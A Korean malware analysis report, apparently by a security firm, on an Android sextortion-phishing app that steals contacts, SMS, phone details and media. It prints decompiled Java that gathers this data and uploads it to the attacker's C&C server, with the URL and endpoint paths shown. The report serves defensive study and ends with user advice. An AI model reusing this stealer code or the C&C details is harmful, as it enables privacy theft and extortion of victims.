[악성 앱 분석 보고서] 몸캠피싱 해킹 앱 -
목차
01. 개요
1.1 수행 인력
1.2 수행 환경
1.3 수행 대상
02. 진단 상세
2.1 위험도 평가 기준
03. 분석 결과 요약
3.1 악성 행위 개요
3.2 악성 행위 요약
3.3 유의사항
04. 분석 결과 상세
4.1 정적 분석
4.2 동적 분석
05.Mitre Att&ck(Mobile)
06.사용자 대응 가이드
01. 개요
1.1 수행인력
악성 앱 분석을 수행한 인력은 다음과 같다.
1.2 수행 환경
악성코드 분석을 수행한 환경은 다음과 같다.
1.3 수행 대상
악성코드 분석을 수행한 대상은 다음과 같다.
1 | 86 09 35 09 F1 2D 92 01 7F 19 EE 69 93 79 98 3A 0E 0F 71 F8 D0 36 52 C4 7D 9C E0 1F 39 9E 0D 9B |
02. 진단 상세
위험도 평가 기준
위험도는 평가항목에 해당되는 악성 행위에 대해 위험을 가늠할 수 있도록
5단으로 분류.
5 |
| 상 |
4 |
| |
3 |
| 중 |
2 |
| 하 |
1 |
|
03. 분석 결과 요약
3.1 악성행위 개요
Lovelush 앱은 안드로이드 플랫폼에서 작동하는 악성 피싱 앱이다.
악성 앱 실행 시 단말의 전화번호, 사용자명, SMS 내용, 주소록 등을 수집하여 공격자의 서버(C&C)로 전송한다.
3.2 악성 행위 요약
Lovelush.apk | android.permission.INTERNET | 인터넷 접속 | 1 |
android.permission.READ_CONTACTS | 연락처 읽기 | 5 | |
android.permission.READ_PHONE_STATE | 단말기 정보 읽기 | 4 | |
android.permission.READ_PHONE_NUMBERS | 전화번호 읽기 | 3 | |
android.permission.READ_EXTERNAL_STORAGE | 외부 저장소 읽기 | 5 | |
android.permission.READ_MEDIA_IMAGES | 이미지 읽기 | 4 | |
android.permission.READ_MEDIA_AUDIO | 오디오 파일 읽기 | 3 | |
android.permission.READ_MEDIA_VIDEO | 비디오 파일 읽기 | 4 |
*유의사항
본 분석은 주식회사 아크링크에서 수집한 악성 APK 샘플에서 수행되었고 분석을 위한 참조 자료로만 활용되어야 하며, 악성코드 제작 등의 용도로 악용을 금지한다. 본 자료의 전체 혹은 일부를 주식회사 아크링크의 허락을 받지 않고, 무단 개제, 복사 배포 등의 행위는 엄격히 금지한다. 이를 어길 시 민형사상의 손해배상에 처해질 수 있다.
04. 분석 결과 상세
4.1 정적 분석
4.1-1 권한 분석
앱이 요청하는 권한은 단말에서 수행하는 행위의 범위를 나타낸다.
‘위험 권한’의 요청은 사용자의 개인 정보의 접근이나 단말 시스템의 주요 기능과 연관되어 있어, 악용될 경우 사용자의 보안에 위협이 될 수 있다.
권한의 선언만으로는 앱의 악성 행위 여부를 판단하기 어렵지만, 앱의 전반적인 행위와 결합하여 평가할 수 있는 지표이다.
대상 앱에서 선언하는 권한과 설명은 다음과 같다.
1 | android.permission.INTERNET | 인터넷 접속 | N |
2 | android.permission.READ_CONTACTS | 연락처 읽기 | Y |
3 | android.permission.READ_PHONE_STATE | 단말기 정보 읽기 | Y |
4 | android.permission.READ_PHONE_NUMBERS | 전화번호 읽기 | Y |
5 | android.permission.READ_EXTERNAL_STORAGE | 외부 저장소 읽기 | Y |
6 | android.permission.READ_MEDIA_IMAGES | 이미지 읽기 | Y |
7 | android.permission.READ_MEDIA_AUDIO | 오디오 파일 읽기 | Y |
8 | android.permission.READ_MEDIA_VIDEO | 비디오 파일 읽기 | Y |
4.1-2 액티비티(Activity)
액티비티는 안드로이드 앱의 화면 구성 단위로, 사용자와 상호작용을 위한 인터페이스를 제공한다. 액티비티 분석은 앱의 기능적 구성요소와 사용자 인터페이스 설계를 파악할 수 있다. 예를 들어, 앱 내의 로그인 화면, 메인 메뉴, 설정 화면 등은 각각 별도의 액티비티로 구현했다.
악성 앱의 경우, 액티비티를 통해 사용자를 속이기 위한 화면을 제공하고 숨겨진 기능을 통해 악성 행위를 수행할 수 있다.
대상 앱에 선언된 액티비티는 다음과 같다.
※ 20개 이상의 난독화된 이름의 액티비티가 존재하지만, 이 보고서의 내용에는 포함하지 않았다.
1 | com.xyx.sms.LovelYtsYtsLeoLoginActivity | 메인 액티비티 |
2 | com.xyx.sms.LovelYtsYtsLeoMainActivity | - |
3 | com.xyx.sms.LovelYtsYtsLeoContactActivity | - |
4 | com.xyx.sms.LovelYtsYtsLeoAlbumActivity | - |
5 | com.xyx.sms.LovelYtsYtsLeoUploadActivity | - |
4.1-3 서비스(Service)
서비스는 사용자 인터페이스 없이 백그라운드에서 실행되는 컴포넌트로, 긴 작업 수행이나 네트워크 전송을 처리할 때 사용된다.
악성 앱의 경우 서비스는 앱이 사용자의 인지 없이 액티비티를 수행하거나, 지속적으로 데이터를 수집하고 전송하는 데 사용될 수 있다.
대상 앱에 선언된 서비스는 다음과 같다.
1 | com.xyx.sms.servise.LovelYtsYtsLeoUploadService | - |
2 | com.luck.picture.lib.service.ForegroundService | - |
3 | com.blankj.utilcode.util.MessengerUtils.ServerService | - |
4.1-4 리시버(Receiver)
리시버는 다양한 시스템 이벤트(예: 부팅 완료, 네트워크 상태 변경)에 반응하여 앱을 실행할 수 있다.
악성 앱이 특정 조건이나 이벤트에 따라 액티비티를 시작하거나 민감정보를 수신하는 데 활용될 수 있으며, 대상 앱에 선언된 리시버는 존재하지 않는다.
4.2 동적 분석
4.2-1 사용자 직접 실행
대상 앱의 동적 분석 과정에서 사용자에 의한 직접 실행을 기반으로 하는 앱의 동작을 분석한다. 앱이 사용자의 실행으로 어떻게 구동되고, 사용자와 상호작용에 반응하는지 분석하고, 분석의 시작점은 사용자가 앱을 실행하는 순간으로 설정한다.
초기 로딩, 권한 요청, 주요 기능 실행 등을 어떻게 처리하는지 분석했으며, 앱의 실행 흐름을 따라가면서, 네트워크 통신, 데이터 저장 및 처리 등 앱의 핵심 동작을 실시간으로 모니터링하였다.
특히, 의심스러운 네트워크 활동, 민감한 정보의 무단 수집 및 전송, 비정상적 시스템 자원 사용 등의 행위를 식별했다.
4.2-2 앱 동작 중요 권한 요청
앱을 실행한 후에는 중요 권한을 요청하고 있으며,
권한 거부 시 직접 설정화면으로 이동하도록 유도하는 팝업을 띄웁니다.
// com.xyx.sms.LovelYtsYtsLeoUploadActivity
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity
protected void onActivityResult(int i, int i2, Intent intent) {
super.onActivityResult(i, i2, intent);
if (i == 100) {
if (ActivityCompat.checkSelfPermission(this, "android.permission.READ_SMS") != 0 && ActivityCompat.checkSelfPermission(this, "android.permission.READ_PHONE_NUMBERS") != 0 && ActivityCompat.checkSelfPermission(this, "android.permission.READ_CONTACTS") != 0 && ActivityCompat.checkSelfPermission(this, PermissionConfig.READ_EXTERNAL_STORAGE) != 0 && ActivityCompat.checkSelfPermission(this, "android.permission.READ_PHONE_STATE") != 0) {
this.btn_sync.setEnabled(false);
return;
} else {
uploadAllData();
return;
}
}
코드 1 앱 실행 필수 권한 선언 및 요청
권한 허용 시 단말 로그에도 실제로 권한이 허용되었음을 확인할 수 있는 로그가 남고 있다.
4.2-3 단말기 기본 정보 수집
‘사용자명’, ‘모델명’, 단말 전화번호’, ‘통신사’를 수집하여 JSON 파일로 변환하여 자신들의 서버로 전송하고 있는 것을 확인할 수 있다.
// com.xyx.sms.LovelYtsYtsLeoUploadActivity
public void getContactDataUpload() {
this.contactList = LovelYtsYtsLeoReadContactUtils.getContact(this.myActivity);
HashMap hashMap = new HashMap();
hashMap.put("userName", this.code);
hashMap.put("model", "android");
hashMap.put("bjPhone", this.phoneNumber);
hashMap.put("operatorName", LovelYtsYtsLeoReadContactUtils.getOperatorName(this.myActivity));
hashMap.put("phoneContent", JSONObject.toJSONString(this.contactList));
new Thread(new AnonymousClass6(hashMap)).start();
}
코드 2 단말 기본정보 수집
위 이미지에서 보여지는 “User Name”은 분석자가 앱에 접근하기 위해 입력하였던 초대코드이다.
// xyx.sms.utils.LovelYtsYtsLeoConstant
package com.xyx.sms.utils;
public class LovelYtsYtsLeoConstant {
public static String contact_url = "webapp/saveAddressBook";
public static String img_url = "webapp/image/";
public static String login = "webapp/login";
public static String sms_url = "webapp/saveSms";
}
코드 3 수집 정보 저장(연락처, SMS)
// xyx.sms.utils.LovelYtsYtsLeoHttpUtils
public class LovelYtsYtsLeoHttpUtils {
public static String base_url = "http://xxayjgagagxxg.monster/prod-api/";
public static void postFile(Activity activity, String str, File file, final LovelYtsYtsLeoOnSuccess lovelYtsYtsLeoOnSuccess) {
new OkHttpClient().newCall(new Request.Builder().url(base_url + str).post(new MultipartBody.Builder().setType(MultipartBody.FORM).addFormDataPart("file", file.getName(), RequestBody.create(MediaType.parse(SelectMimeType.SYSTEM_IMAGE), file)).addFormDataPart("other_field", "value").build()).build()).enqueue(new Callback() { // from class: com.xyx.sms.utils.LovelYtsYtsLeoHttpUtils.1
@Override // okhttp3.Callback
public void onFailure(Call call, IOException iOException) {
Log.e("post", "responseerror==" + iOException.getMessage());
...(생략)...
public void postJSONObject(String str) {
OkHttpClient okHttpClient = new OkHttpClient();
try {
JSONObject jSONObject = new JSONObject();
jSONObject.put("word", (Object) "西红柿炒鸡蛋");
jSONObject.put("page", (Object) "1");
Log.d("TAG", jSONObject.toString());
RequestBody create = RequestBody.create(MediaType.parse("application/json; charset=utf-8"), jSONObject.toString());
Request.Builder url = new Request.Builder().url(str);
url.post(create).build();
Response execute = okHttpClient.newCall(url.build()).execute();
if (execute.isSuccessful()) {
Log.d("TAG", "返回=" + execute.body().string());
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
코드 4 저장된 정보 전송 코드
본 코드에서는 서버로 '西红柿炒鸡蛋(토마토 계란 볶음)'과 ‘1’이라는 값을 포함하는 JSON 데이터를 테스트용으로 전송하는 구조가 구현되어 있다
4.2-4 접속 시도 시 메시지 출력
서버의 동작 여부와 관계없이, 앱 화면에는 ‘초대코드가 잘못되었습니다.’라는 문구가 출력된다.
공격 서버에서 파일 수집 명령을 수신한 경우 다음의 코드가 실행되어 외부 저장소에 저장된 파일(이미지, 영상 등)에 접근한다.
그 후 공격자의 서버(http://xxayjgagagxxg.monster/prod-api/)로 전송한다. 분석 시 공격 서버가 동작하지 않아 정적 분석만 진행하였다.
// com.xyx.sms.LovelYtsYtsLeoHttpUtils
public class LovelYtsYtsLeoHttpUtils {
public static String base_url = "http://xxayjgagagxxg.monster/prod-api/";
public static void postFile(Activity activity, String str, File file, final LovelYtsYtsLeoOnSuccess lovelYtsYtsLeoOnSuccess) {
new OkHttpClient().newCall(new Request.Builder().url(base_url + str).post(new MultipartBody.Builder().setType(MultipartBody.FORM).addFormDataPart("file", file.getName(), RequestBody.create(MediaType.parse(SelectMimeType.SYSTEM_IMAGE), file)).addFormDataPart("other_field", "value").build()).build()).enqueue(new Callback() { // from class: com.xyx.sms.utils.LovelYtsYtsLeoHttpUtils.1
@Override // okhttp3.Callback
public void onFailure(Call call, IOException iOException) {
Log.e("post", "responseerror==" + iOException.getMessage());
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
String string = response.body().string();
Log.e("post", "response==" + string);
LovelYtsYtsLeoOnSuccess.this.onSuccess(200, string);
}
});
}
코드 5 외부 서버로 수집 데이터 파일 업로드(POST 방식 전송)
05. Mitre Att&ck(Mobile)
보안 기술이 발달함에 따라 공격자도 자신의 공격 기술을 발전시키고 있다.
수집한 피싱앱의 악성 행위 사례를 분석하고 공격 기법과 프로세스를 이해하여 최신 기술을 적용시켜 피해자의 피해를 최소화하기 위해 앱이 어떤 보안 위협 모델에 해당하는지를 Mitre Att&ck 매트릭스를 이용하여 분석한다.
06. 사용자 대응 가이드
분석한 내용을 바탕으로 사용자 대응 가이드를 제시한다.
Mitre Att&ck에서 사용자가 제어할 수 있는 각 단계를 기반으로 사용자가 주의할 내용과 악성앱 실행 시 취할 수 있는 조치를 제시했다.
인터넷을 사용하면서 접하는 링크 중에는 피싱이나 악성 코드를 포함하고 있는 경우가 있다.
이러한 링크는 이메일, 문자 메시지, 소셜 미디어, 심지어 친구나 지인으로부터 받은 것일지라도 의심스러운 경우 클릭을 피해야 한다.
특히, 앱을 다운로드할 때는 항상 공식 앱 스토어를 이용하고, 공식 스토어가 아닌 곳에서 제공하는 앱은 설치하지 않도록 한다.
공식 스토어 외부에서 제공되는 앱은 검증되지 않았을 가능성이 높으며, 악성 코드가 포함될 위험이 있다.
구버전의 안드로이드 운영 체제는 보안 취약점을 포함하고 있을 수 있다. 이러한 취약점은 공격자가 악성 행위를 수행하기 위해 악용할 수 있다.
따라서, 안드로이드 기기를 항상 최신 버전으로 업데이트하는 것이 중요하다.
시스템 업데이트는 보안 패치 및 새로운 보안 기능을 제공하여 기기와 데이터를 보호할 수 있다.
스마트폰에 설치되어 있지만 사용하지 않는 앱들은 보안 위험을 증가시킬 수 있다.
이러한 앱들은 종종 업데이트되지 않아 새로운 보안 취약점에 노출될 수 있다.
주기적으로 기기를 검토하고 더 이상 사용하지 않는 앱을 삭제함으로써, 불필요한 보안 위험을 줄일 수 있다.
앱을 설치하거나 사용할 때 요구되는 권한을 신중하게 검토해야 한다.
많은 앱들이 기능 실행에 필요한 것 이상의 권한을 요청할 수 있으며, 이는 사용자의 개인정보와 보안에 위험을 초래할 수 있다.
예를 들어, 플래시라이트 앱이 연락처 접근 권한을 요구하는 경우, 이는 의심스러운 요구로 간주될 수 있다. 반드시 필요한 권한만 허용하여 사용해야한다.
안드로이드 단말의 설정 메뉴에서 앱 권한을 관리할 수 있으며, 사용자는 각 앱에 부여된 권한을 확인하고 필요하지 않은 권한은 비활성화할 수 있다.
이미 설치된 앱에 대해서도 주기적으로 검토하는 것을 권장한다.
기기가 평소와 다르게 느려지거나 예상치 못한 방식으로 동작하는 경우, 이는 악성 앱의 영향일 수 있다.
이러한 증상이 나타나면 기기를 전문가에게 검사해야 한다.
전문가는 기기의 보안 상태를 확인하고 필요한 경우 악성 코드 제거나 기타 보안 조치를 취할 수 있다.
몸캠피싱 악성 앱 [Lovelush.apk] 분석을 마치며, 낯선 이가 공유하는 앱을 함부로 다운받지 않도록 당부의 말씀을 드립니다.
이상, 사이버 범죄 · 몸캠피싱 대응 전문 기업 아크링크였습니다.
도움이 필요하시면 언제든 연락 바랍니다.